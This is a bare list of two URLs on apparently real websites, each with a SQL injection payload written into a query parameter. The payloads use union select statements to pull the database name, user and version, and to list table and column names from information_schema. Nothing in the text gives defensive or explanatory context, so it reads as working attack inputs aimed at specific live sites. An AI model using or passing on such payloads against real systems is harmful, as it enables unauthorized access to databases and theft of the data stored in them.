http://
www.novagora.net/rub.php?Rub=3&IDR=-1+union+select+1,2,concat_ws(database(),user(),ver sion()),4,5--

http://
www.martine-rupert.com/eng/pola.php?id=-246+union+select+1,2,concat_ws(0x3a,table_name,col umn_name) from information_schema.columns